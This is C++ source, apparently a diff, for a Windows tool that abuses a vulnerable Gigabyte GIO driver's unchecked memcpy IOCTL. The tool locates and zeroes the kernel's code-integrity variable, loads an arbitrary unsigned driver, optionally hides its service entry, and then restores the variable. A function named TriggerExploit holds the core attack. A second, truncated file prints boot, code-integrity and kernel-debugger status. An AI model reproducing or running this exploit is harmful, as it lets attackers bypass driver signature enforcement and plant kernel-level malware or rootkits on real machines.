|
||||
// Gigabyte GIO device name and type, and IOCTL code for memcpy call
|
||||
#define GIO_DEVICE_NAME L"\\Device\\GIO"
|
||||
#define FILE_DEVICE_GIO (0xc350)
|
||||
#define IOCTL_GIO_MEMCPY CTL_CODE(FILE_DEVICE_GIO, 0xa02, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Input struct for IOCTL_GIO_MEMCPY
|
||||
typedef struct _GIOMemcpyInput
|
||||
{
|
||||
ULONG_PTR Dst;
|
||||
ULONG_PTR Src;
|
||||
ULONG Size;
|
||||
} GIOMemcpyInput, * PGIOMemcpyInput;
|
||||
|
||||
static WCHAR DriverServiceName[MAX_PATH], LoaderServiceName[MAX_PATH];
|
||||
|
||||
bool CompareByte(const PUCHAR data, const PUCHAR pattern, UINT32 len)
|
||||
{
|
||||
for (auto i = 0; i < len; i++)
|
||||
{
|
||||
if (data[i] != pattern[i] && pattern[i] != 0)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static
|
||||
NTSTATUS
|
||||
FindKernelModule(
|
||||
_In_ PCCH ModuleName,
|
||||
_Out_ PULONG_PTR ModuleBase
|
||||
)
|
||||
{
|
||||
*ModuleBase = 0;
|
||||
|
||||
ULONG Size = 0;
|
||||
NTSTATUS Status;
|
||||
if ((Status = NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &Size)) != STATUS_INFO_LENGTH_MISMATCH)
|
||||
return Status;
|
||||
|
||||
const PRTL_PROCESS_MODULES Modules = static_cast<PRTL_PROCESS_MODULES>(RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, 2 * static_cast<SIZE_T>(Size)));
|
||||
Status = NtQuerySystemInformation(SystemModuleInformation,
|
||||
Modules,
|
||||
2 * Size,
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
goto Exit;
|
||||
|
||||
for (ULONG i = 0; i < Modules->NumberOfModules; ++i)
|
||||
{
|
||||
RTL_PROCESS_MODULE_INFORMATION Module = Modules->Modules[i];
|
||||
if (_stricmp(ModuleName, reinterpret_cast<PCHAR>(Module.FullPathName) + Module.OffsetToFileName) == 0)
|
||||
{
|
||||
*ModuleBase = reinterpret_cast<ULONG_PTR>(Module.ImageBase);
|
||||
Status = STATUS_SUCCESS;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Exit:
|
||||
RtlFreeHeap(RtlProcessHeap(), 0, Modules);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
// For Windows Vista/7
|
||||
static
|
||||
LONG
|
||||
QueryCiEnabled(
|
||||
_In_ PVOID MappedBase,
|
||||
_In_ SIZE_T SizeOfImage,
|
||||
_In_ ULONG_PTR KernelBase,
|
||||
_Out_ PULONG_PTR gCiEnabledAddress
|
||||
)
|
||||
{
|
||||
*gCiEnabledAddress = 0;
|
||||
|
||||
ULONG_PTR Offset = 0;
|
||||
|
||||
for (SIZE_T i = 0; i < SizeOfImage; i++)
|
||||
{
|
||||
if (CompareByte(PUCHAR(MappedBase) + i, (PUCHAR)Pattern_gCiEnabled, 4))
|
||||
{
|
||||
Offset = i;
|
||||
}
|
||||
}
|
||||
if (Offset == 0)
|
||||
{
|
||||
Printf(L"failed to find CiEnabled\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
LONG RealOffset = *reinterpret_cast<LONG*>((ULONG_PTR)MappedBase + Offset + 4);
|
||||
ULONG_PTR g_CiEnabled = (ULONG_PTR)MappedBase + RealOffset + Offset + 4 + 4;
|
||||
*gCiEnabledAddress = KernelBase + g_CiEnabled - (ULONG_PTR)MappedBase;
|
||||
Printf(L"i : 0x%llx\n gCiEnabled : %llx\n gCiEnabledAddress : %llx\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// For Windows 8 and worse
|
||||
static
|
||||
LONG
|
||||
QueryCiOptions(
|
||||
_In_ PVOID MappedBase, // ci.dll file
|
||||
_In_ ULONG_PTR KernelBase, //ci.dll kernel base
|
||||
_Out_ PULONG_PTR gCiOptionsAddress
|
||||
)
|
||||
{
|
||||
*gCiOptionsAddress = 0;
|
||||
|
||||
UINT64 CiInitializeAddress = (UINT64)GetProcedureAddress(reinterpret_cast<ULONG_PTR>(MappedBase), "CiInitialize");
|
||||
const PUCHAR CiInitialize = reinterpret_cast<PUCHAR>(GetProcedureAddress(reinterpret_cast<ULONG_PTR>(MappedBase), "CiInitialize"));
|
||||
if (CiInitialize == nullptr)
|
||||
return 0;
|
||||
|
||||
int Offset = 0;
|
||||
UINT16 j = 0;
|
||||
if (NtCurrentPeb()->OSBuildNumber >= 16299)
|
||||
{
|
||||
for (auto i = 0; i < 255; i++)
|
||||
{
|
||||
if (CompareByte(PUCHAR(CiInitialize + i), PUCHAR(Pattern_CipInit_1709), 16))
|
||||
{
|
||||
Offset = i;
|
||||
}
|
||||
}
|
||||
for (j = 0; Pattern_CipInit_1709[j]; j++)
|
||||
;
|
||||
}
|
||||
else
|
||||
{
|
||||
for (auto i = 0; i < 255; i++)
|
||||
{
|
||||
if (CompareByte(PUCHAR(CiInitialize + i), PUCHAR(Pattern_CipInit), 12))
|
||||
{
|
||||
Offset = i;
|
||||
}
|
||||
}
|
||||
for (j = 0; Pattern_CipInit[j]; j++)
|
||||
;
|
||||
}
|
||||
if (!Offset)
|
||||
{
|
||||
Printf(L"failed to find CipInitialize\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG CipInitOffset = *reinterpret_cast<UINT32*>(CiInitializeAddress + Offset + j);
|
||||
ULONG_PTR CipInitialize = CiInitializeAddress + CipInitOffset + Offset + j + 4;
|
||||
Printf(L"CipOffset : %d, CipInitOffset : 0x%llx, CipInitialize : 0x%llx\n", Offset, CipInitOffset, CipInitialize);
|
||||
Offset = 0;
|
||||
j = 0;
|
||||
|
||||
for (auto i = 0; i < 255; i++)
|
||||
{
|
||||
|
||||
if (CompareByte(PUCHAR(CipInitialize + i), PUCHAR(Pattern_gCiOptions), 12))
|
||||
{
|
||||
Offset = i;
|
||||
}
|
||||
}
|
||||
for (j = 0; Pattern_gCiOptions[j]; j++)
|
||||
;
|
||||
if (!Offset)
|
||||
{
|
||||
Printf(L"failed to find Ci_gOptions\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
INT32 RealOffset = *reinterpret_cast<INT32*>(CipInitialize + Offset + j); // RVA
|
||||
UINT64 g_CiOptions = CipInitialize + RealOffset + Offset + j + 4; // Calculate
|
||||
Printf(L"Offset : %d RealOffset : %d g_CiOptions : 0x%llx ", Offset, RealOffset, g_CiOptions);
|
||||
*gCiOptionsAddress = KernelBase + g_CiOptions - (UINT64)MappedBase;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static
|
||||
NTSTATUS
|
||||
AnalyzeCi(
|
||||
_Out_ PVOID* CiOptionsAddress
|
||||
)
|
||||
{
|
||||
*CiOptionsAddress = nullptr;
|
||||
|
||||
// Map file as SEC_IMAGE
|
||||
WCHAR Path[MAX_PATH];
|
||||
const CHAR NtoskrnlExe[] = "ntoskrnl.exe";
|
||||
const CHAR CiDll[] = "CI.dll";
|
||||
|
||||
_snwprintf(Path, MAX_PATH / sizeof(WCHAR), L"%ls\\System32\\%hs",
|
||||
SharedUserData->NtSystemRoot,
|
||||
NtCurrentPeb()->OSBuildNumber >= 9200 ? CiDll : NtoskrnlExe);
|
||||
|
||||
PVOID MappedBase;
|
||||
SIZE_T ViewSize;
|
||||
NTSTATUS Status = MapFileSectionView(Path, FALSE, &MappedBase, &ViewSize);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"Failed to map %ls: %08X\n", Path, Status);
|
||||
return Status;
|
||||
}
|
||||
|
||||
if (NtCurrentPeb()->OSBuildNumber >= 9200)
|
||||
{
|
||||
// Find CI.dll!g_CiOptions
|
||||
ULONG_PTR CiDllBase;
|
||||
Status = FindKernelModule(CiDll, &CiDllBase);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"Failed to FindKernelModule %08X\n", Status);
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
ULONG_PTR gCiOptionsAddress;
|
||||
const LONG Rel = QueryCiOptions(MappedBase, CiDllBase, &gCiOptionsAddress);
|
||||
if (Rel != 0)
|
||||
{
|
||||
*CiOptionsAddress = reinterpret_cast<PVOID>(gCiOptionsAddress);
|
||||
Status = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
Status = STATUS_NOT_FOUND;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Find ntoskrnl.exe!g_CiEnabled
|
||||
ULONG_PTR KernelBase;
|
||||
Status = FindKernelModule(NtoskrnlExe, &KernelBase);
|
||||
if (!NT_SUCCESS(Status))
|
||||
goto Exit;
|
||||
|
||||
ULONG_PTR gCiEnabledAddress;
|
||||
const LONG Rel = QueryCiEnabled(MappedBase, ViewSize, KernelBase, &gCiEnabledAddress);
|
||||
if (Rel != 0)
|
||||
{
|
||||
*CiOptionsAddress = reinterpret_cast<PVOID>(gCiEnabledAddress);
|
||||
Status = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
Status = STATUS_NOT_FOUND;
|
||||
}
|
||||
}
|
||||
|
||||
Exit:
|
||||
NtUnmapViewOfSection(NtCurrentProcess, MappedBase);
|
||||
return Status;
|
||||
}
|
||||
|
||||
static int ConvertToNtPath(PWCHAR Dst, PWCHAR Src) // TODO: holy shit this is fucking horrible
|
||||
{
|
||||
wcscpy_s(Dst, sizeof(L"\\??\\") / sizeof(WCHAR), L"\\??\\");
|
||||
wcscat_s(Dst, (MAX_PATH + sizeof(L"\\??\\")) / sizeof(WCHAR), Src);
|
||||
return static_cast<int>(wcslen(Dst)) * sizeof(wchar_t) + sizeof(wchar_t);
|
||||
}
|
||||
|
||||
static void FileNameToServiceName(PWCHAR ServiceName, PWCHAR FileName)
|
||||
{
|
||||
int p = sizeof(SVC_BASE) / sizeof(WCHAR) - 1;
|
||||
wcscpy_s(ServiceName, sizeof(SVC_BASE) / sizeof(WCHAR), SVC_BASE);
|
||||
for (PWCHAR i = FileName; *i; ++i)
|
||||
{
|
||||
if (*i == L'\\')
|
||||
FileName = i + 1;
|
||||
}
|
||||
while (*FileName != L'\0' && *FileName != L'.')
|
||||
ServiceName[p++] = *FileName++;
|
||||
ServiceName[p] = L'\0';
|
||||
}
|
||||
|
||||
static NTSTATUS CreateDriverService(PWCHAR ServiceName, PWCHAR FileName)
|
||||
{
|
||||
FileNameToServiceName(ServiceName, FileName);
|
||||
NTSTATUS Status = RtlCreateRegistryKey(RTL_REGISTRY_ABSOLUTE, ServiceName);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
WCHAR NtPath[MAX_PATH];
|
||||
ULONG ServiceType = SERVICE_KERNEL_DRIVER;
|
||||
|
||||
Status = RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,
|
||||
ServiceName,
|
||||
L"ImagePath",
|
||||
REG_SZ,
|
||||
NtPath,
|
||||
ConvertToNtPath(NtPath, FileName));
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
Status = RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,
|
||||
ServiceName,
|
||||
L"Type",
|
||||
REG_DWORD,
|
||||
&ServiceType,
|
||||
sizeof(ServiceType));
|
||||
return Status;
|
||||
}
|
||||
|
||||
static void DeleteService(PWCHAR ServiceName)
|
||||
{
|
||||
// TODO: shlwapi.dll? holy fuck this is horrible
|
||||
SHDeleteKeyW(HKEY_LOCAL_MACHINE, ServiceName + sizeof(NT_MACHINE) / sizeof(WCHAR) - 1);
|
||||
}
|
||||
|
||||
static BOOLEAN IsCiEnabled()
|
||||
{
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
|
||||
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||
&CiInfo,
|
||||
sizeof(CiInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"Failed to query code integrity status: %08X\n", Status);
|
||||
|
||||
return (CiInfo.CodeIntegrityOptions &
|
||||
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
||||
}
|
||||
|
||||
static NTSTATUS LoadDriver(PWCHAR ServiceName)
|
||||
{
|
||||
UNICODE_STRING ServiceNameUcs;
|
||||
RtlInitUnicodeString(&ServiceNameUcs, ServiceName);
|
||||
return NtLoadDriver(&ServiceNameUcs);
|
||||
}
|
||||
|
||||
static NTSTATUS UnloadDriver(PWCHAR ServiceName)
|
||||
{
|
||||
UNICODE_STRING ServiceNameUcs;
|
||||
RtlInitUnicodeString(&ServiceNameUcs, ServiceName);
|
||||
return NtUnloadDriver(&ServiceNameUcs);
|
||||
}
|
||||
|
||||
static
|
||||
NTSTATUS
|
||||
OpenDeviceHandle(
|
||||
_Out_ PHANDLE DeviceHandle,
|
||||
_In_ BOOLEAN PrintErrors
|
||||
)
|
||||
{
|
||||
UNICODE_STRING DeviceName = RTL_CONSTANT_STRING(GIO_DEVICE_NAME);
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = RTL_CONSTANT_OBJECT_ATTRIBUTES(&DeviceName, OBJ_CASE_INSENSITIVE);
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
|
||||
const NTSTATUS Status = NtCreateFile(DeviceHandle,
|
||||
SYNCHRONIZE, // Yes, these really are the only access rights needed. (actually would be 0, but we want SYNCHRONIZE to wait on NtDeviceIoControlFile)
|
||||
&ObjectAttributes,
|
||||
&IoStatusBlock,
|
||||
nullptr,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
FILE_OPEN,
|
||||
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
|
||||
nullptr,
|
||||
0);
|
||||
|
||||
if (!NT_SUCCESS(Status) && PrintErrors) // The first open is expected to fail; don't spam the user about it
|
||||
Printf(L"Failed to obtain handle to device %wZ: NtCreateFile: %08X.\n", &DeviceName, Status);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
static
|
||||
NTSTATUS
|
||||
TriggerExploit(
|
||||
_In_ PWSTR LoaderServiceName,
|
||||
_In_ PVOID CiVariableAddress,
|
||||
_In_ ULONG CiOptionsValue,
|
||||
_Out_opt_ PULONG OldCiOptionsValue
|
||||
)
|
||||
{
|
||||
if (OldCiOptionsValue != nullptr)
|
||||
*OldCiOptionsValue = 0;
|
||||
|
||||
// First try to open the device without loading the driver. This only works if it was already loaded
|
||||
HANDLE DeviceHandle;
|
||||
NTSTATUS Status = OpenDeviceHandle(&DeviceHandle, FALSE);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
// Load the Gigabyte loader driver
|
||||
Status = LoadDriver(LoaderServiceName);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"Failed to load driver service %ls. NtLoadDriver: %08X.\n", LoaderServiceName, Status);
|
||||
return Status;
|
||||
}
|
||||
|
||||
// The device should exist now. If we still can't open it, bail
|
||||
Status = OpenDeviceHandle(&DeviceHandle, TRUE);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
}
|
||||
|
||||
// Number of bytes to read/write: 1 on Windows 7, 4 on lesser OSes
|
||||
const ULONG CiPatchSize = NtCurrentPeb()->OSBuildNumber >= 9200 ? sizeof(ULONG) : sizeof(UCHAR);
|
||||
const UCHAR CiOptionsValueByte = static_cast<UCHAR>(CiOptionsValue);
|
||||
|
||||
GIOMemcpyInput MemcpyInput;
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
|
||||
if (OldCiOptionsValue != nullptr) // Only perform this read if the original value was requested
|
||||
{
|
||||
// Set up memcpy input for a read operation
|
||||
ULONG OldCiOptions = 0;
|
||||
MemcpyInput.Dst = reinterpret_cast<ULONG_PTR>(&OldCiOptions);
|
||||
MemcpyInput.Src = reinterpret_cast<ULONG_PTR>(CiVariableAddress);
|
||||
MemcpyInput.Size = CiPatchSize;
|
||||
|
||||
// IOCTL (1): Read the current value of g_CiEnabled/g_CiOptions so we can restore it later
|
||||
Status = NtDeviceIoControlFile(DeviceHandle,
|
||||
nullptr,
|
||||
nullptr,
|
||||
nullptr,
|
||||
&IoStatusBlock,
|
||||
IOCTL_GIO_MEMCPY,
|
||||
&MemcpyInput,
|
||||
sizeof(MemcpyInput),
|
||||
nullptr,
|
||||
0);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"NtDeviceIoControlFile(IOCTL_GIO_MEMCPY) *READ* failed: error %08X\n", Status);
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
// Use the out parameter to return the previous value of g_CiOptions
|
||||
*OldCiOptionsValue = OldCiOptions;
|
||||
}
|
||||
|
||||
// Set up memcpy input a second time, this time for writing
|
||||
MemcpyInput.Dst = reinterpret_cast<ULONG_PTR>(CiVariableAddress);
|
||||
MemcpyInput.Src = CiPatchSize == sizeof(ULONG)
|
||||
? reinterpret_cast<ULONG_PTR>(&CiOptionsValue)
|
||||
: reinterpret_cast<ULONG_PTR>(&CiOptionsValueByte);
|
||||
MemcpyInput.Size = CiPatchSize;
|
||||
|
||||
// IOCTL (2): Use the driver IOCTL's juicy memcpy that performs zero access checks to write the desired value to the kernel address
|
||||
RtlZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
|
||||
Status = NtDeviceIoControlFile(DeviceHandle,
|
||||
nullptr,
|
||||
nullptr,
|
||||
nullptr,
|
||||
&IoStatusBlock,
|
||||
IOCTL_GIO_MEMCPY,
|
||||
&MemcpyInput,
|
||||
sizeof(MemcpyInput),
|
||||
nullptr,
|
||||
0);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"NtDeviceIoControlFile(IOCTL_GIO_MEMCPY) *WRITE* failed: error %08X\n", Status);
|
||||
|
||||
Exit:
|
||||
NtClose(DeviceHandle);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
NTSTATUS
|
||||
WindLoadDriver(
|
||||
_In_ PWCHAR LoaderName,
|
||||
_In_ PWCHAR DriverName,
|
||||
_In_ BOOLEAN Hidden
|
||||
)
|
||||
{
|
||||
WCHAR LoaderPath[MAX_PATH], DriverPath[MAX_PATH];
|
||||
|
||||
// Find CI!g_CiOptions/nt!g_CiEnabled
|
||||
PVOID CiOptionsAddress;
|
||||
NTSTATUS Status = AnalyzeCi(&CiOptionsAddress);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
Printf(L"%ls at 0x%p.\n", (NtCurrentPeb()->OSBuildNumber >= 9200 ? L"CI!g_CiOptions" : L"nt!g_CiEnabled"), CiOptionsAddress);
|
||||
|
||||
// Enable privileges
|
||||
CONSTEXPR CONST ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL;
|
||||
BOOLEAN SeLoadDriverWasEnabled;
|
||||
Status = RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE,
|
||||
TRUE,
|
||||
FALSE,
|
||||
&SeLoadDriverWasEnabled);
|
||||
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"Fatal error: failed to acquire SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator.\n");
|
||||
return Status;
|
||||
}
|
||||
|
||||
// Expand filenames to full paths
|
||||
Status = RtlGetFullPathName_UEx(LoaderName, MAX_PATH * sizeof(WCHAR), LoaderPath, nullptr, nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
Status = RtlGetFullPathName_UEx(DriverName, MAX_PATH * sizeof(WCHAR), DriverPath, nullptr, nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
// Create the target driver service
|
||||
Status = CreateDriverService(DriverServiceName, DriverPath);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
if (!IsCiEnabled())
|
||||
{
|
||||
// CI is already disabled, just load the driver
|
||||
Printf(L"WARNING: CI is already disabled!\n");
|
||||
return LoadDriver(DriverServiceName);
|
||||
}
|
||||
|
||||
// Create the loader driver service
|
||||
Status = CreateDriverService(LoaderServiceName, LoaderPath);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
// Disable CI
|
||||
ULONG OldCiOptionsValue;
|
||||
Status = TriggerExploit(LoaderServiceName, CiOptionsAddress, 0, &OldCiOptionsValue);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"Failed to disable DSE through Gigabyte loader driver: %08X\n", Status);
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
Printf(L"Successfully disabled DSE.");
|
||||
if (NtCurrentPeb()->OSBuildNumber >= 9200)
|
||||
{
|
||||
Printf(L" Original g_CiOptions value: 0x%X.", OldCiOptionsValue);
|
||||
}
|
||||
Printf(L"\n");
|
||||
|
||||
// Load target driver
|
||||
Status = LoadDriver(DriverServiceName);
|
||||
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
if (Status == STATUS_IMAGE_ALREADY_LOADED)
|
||||
{
|
||||
// Already loaded - attempt to reload
|
||||
Status = UnloadDriver(DriverServiceName);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"Target driver is already loaded, and unloading failed with status %08X\n", Status);
|
||||
else
|
||||
{
|
||||
Status = LoadDriver(DriverServiceName);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"Failed to reload target driver: %08X\n", Status);
|
||||
else
|
||||
Printf(L"Succesfully reloaded target driver.\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
Printf(L"Failed to load target driver: %08X\n", Status);
|
||||
}
|
||||
else
|
||||
{
|
||||
Printf(L"Target driver loaded successfully.\n");
|
||||
}
|
||||
|
||||
// Reset original CI status
|
||||
Status = TriggerExploit(LoaderServiceName, CiOptionsAddress, OldCiOptionsValue, nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"WARNING: failed to re-enable DSE through Gigabyte loader driver: %08X\n", Status);
|
||||
Status = STATUS_SUCCESS; // Don't DeleteService() the target driver in the error path below; we are past the point of no return
|
||||
}
|
||||
else
|
||||
{
|
||||
Printf(L"Successfully re-enabled DSE.\n");
|
||||
}
|
||||
|
||||
// Unload the loader driver since we are done with it
|
||||
UnloadDriver(LoaderServiceName);
|
||||
DeleteService(LoaderServiceName);
|
||||
|
||||
Exit:
|
||||
if (!NT_SUCCESS(Status) || Hidden)
|
||||
DeleteService(DriverServiceName);
|
||||
|
||||
// Revert privileges
|
||||
RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE,
|
||||
SeLoadDriverWasEnabled,
|
||||
FALSE,
|
||||
&SeLoadDriverWasEnabled);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
NTSTATUS
|
||||
WindUnloadDriver(
|
||||
_In_ PWCHAR DriverName,
|
||||
_In_ BOOLEAN Hidden
|
||||
)
|
||||
{
|
||||
CONSTEXPR CONST ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL;
|
||||
BOOLEAN SeLoadDriverWasEnabled;
|
||||
NTSTATUS Status = RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE,
|
||||
TRUE,
|
||||
FALSE,
|
||||
&SeLoadDriverWasEnabled);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
if (DriverName != nullptr && Hidden)
|
||||
CreateDriverService(DriverServiceName, DriverName);
|
||||
|
||||
FileNameToServiceName(DriverServiceName, DriverName);
|
||||
|
||||
Status = UnloadDriver(DriverServiceName);
|
||||
if (NT_SUCCESS(Status) || Hidden)
|
||||
DeleteService(DriverServiceName);
|
||||
|
||||
RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE,
|
||||
SeLoadDriverWasEnabled,
|
||||
FALSE,
|
||||
&SeLoadDriverWasEnabled);
|
||||
|
||||
return Status;
|
||||
}
|
||||
-178
@@ -1,178 +0,0 @@
|
||||
#include "global.h"
|
||||
|
||||
static
|
||||
VOID
|
||||
PrintGuid(
|
||||
_In_ GUID Guid
|
||||
)
|
||||
{
|
||||
Printf(L"{%08lx-%04hx-%04hx-%02hhx%02hhx-%02hhx%02hhx%02hhx%02hhx%02hhx%02hhx}",
|
||||
Guid.Data1, Guid.Data2, Guid.Data3,
|
||||
Guid.Data4[0], Guid.Data4[1], Guid.Data4[2], Guid.Data4[3],
|
||||
Guid.Data4[4], Guid.Data4[5], Guid.Data4[6], Guid.Data4[7]);
|
||||
}
|
||||
|
||||
// TODO: warn when values aren't clean
|
||||
NTSTATUS
|
||||
PrintSystemInformation(
|
||||
)
|
||||
{
|
||||
SYSTEM_BOOT_ENVIRONMENT_INFORMATION BootInfo = { 0 };
|
||||
NTSTATUS Status = NtQuerySystemInformation(SystemBootEnvironmentInformation,
|
||||
&BootInfo,
|
||||
sizeof(BootInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemBootEnvironmentInformation: error %08X\n\n", Status);
|
||||
else
|
||||
{
|
||||
Printf(L"SystemBootEnvironmentInformation:\n\t- BootIdentifier: ");
|
||||
PrintGuid(BootInfo.BootIdentifier);
|
||||
Printf(L"\n\t- FirmwareType: %s\n\t- BootFlags: 0x%p\n\n",
|
||||
(BootInfo.FirmwareType == FirmwareTypeUefi ? L"UEFI" : L"BIOS"), BootInfo.BootFlags);
|
||||
}
|
||||
|
||||
ULONG Size = 0;
|
||||
Status = NtQuerySystemInformation(SystemModuleInformation,
|
||||
nullptr,
|
||||
0,
|
||||
&Size);
|
||||
if (Status != STATUS_INFO_LENGTH_MISMATCH)
|
||||
Printf(L"SystemModuleInformation: %08X\n\n", Status);
|
||||
else
|
||||
{
|
||||
PRTL_PROCESS_MODULES ModuleInfo = static_cast<PRTL_PROCESS_MODULES>(
|
||||
RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, 2 * Size));
|
||||
Status = NtQuerySystemInformation(SystemModuleInformation,
|
||||
ModuleInfo,
|
||||
2 * Size,
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemModuleInformation: %08X\n\n", Status);
|
||||
else
|
||||
{
|
||||
RTL_PROCESS_MODULE_INFORMATION Ntoskrnl = ModuleInfo->Modules[0];
|
||||
Printf(L"SystemModuleInformation:\n\t- Kernel: %S (%S)\n\n",
|
||||
reinterpret_cast<PCHAR>(Ntoskrnl.FullPathName + Ntoskrnl.OffsetToFileName),
|
||||
Ntoskrnl.FullPathName);
|
||||
}
|
||||
RtlFreeHeap(RtlProcessHeap(), 0, ModuleInfo);
|
||||
}
|
||||
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION CodeIntegrityInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
|
||||
Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||
&CodeIntegrityInfo,
|
||||
sizeof(CodeIntegrityInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemCodeIntegrityInformation: error %08X\n\n", Status);
|
||||
else
|
||||
Printf(L"SystemCodeIntegrityInformation:\n\t- IntegrityOptions: 0x%04X\n\n",
|
||||
CodeIntegrityInfo.CodeIntegrityOptions);
|
||||
|
||||
SYSTEM_KERNEL_DEBUGGER_INFORMATION KernelDebuggerInfo = { 0 };
|
||||
Status = NtQuerySystemInformation(SystemKernelDebuggerInformation,
|
||||
&KernelDebuggerInfo,
|
||||
sizeof(KernelDebuggerInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemKernelDebuggerInformation: error %08X\n\n", Status);
|
||||
else
|
||||
Printf(L"SystemKernelDebuggerInformation:\n\t- KernelDebuggerEnabled: %u\n\t- KernelDebuggerNotPresent: %u\n\n",
|
||||
KernelDebuggerInfo.KernelDebuggerEnabled, KernelDebuggerInfo.KernelDebuggerNotPresent);
|
||||
|
||||
if ((RtlNtMajorVersion() >= 6 && RtlNtMinorVersion() >= 3) || RtlNtMajorVersion() > 6)
|
||||
{
|
||||
SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX KernelDebuggerInfoEx = { 0 };
|
||||
Status = NtQuerySystemInformation(SystemKernelDebuggerInformationEx,
|
||||
&KernelDebuggerInfoEx,
|
||||
sizeof(KernelDebuggerInfoEx),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemKernelDebuggerInformationEx: error %08X\n\n", Status);
|
||||
else
|
||||
Printf(L"SystemKernelDebuggerInformationEx:\n\t- DebuggerAllowed: %u\n\t- DebuggerEnabled: %u\n\t- DebuggerPresent: %u\n\n",
|
||||
KernelDebuggerInfoEx.DebuggerAllowed, KernelDebuggerInfoEx.DebuggerEnabled, KernelDebuggerInfoEx.DebuggerPresent);
|
||||
}
|
||||
|
||||
UCHAR KdDebuggerEnabled = SharedUserData->KdDebuggerEnabled;
|
||||
Printf(L"SharedUserData->KdDebuggerEnabled: 0x%02X\n\n", KdDebuggerEnabled);
|
||||
|
||||
if (RtlNtMajorVersion() > 6)
|
||||
{
|
||||
UCHAR KernelDebuggerFlags = 0;
|
||||
Status = NtQuerySystemInformation(SystemKernelDebuggerFlags,
|
||||
&KernelDebuggerFlags,
|
||||
sizeof(KernelDebuggerFlags),
|
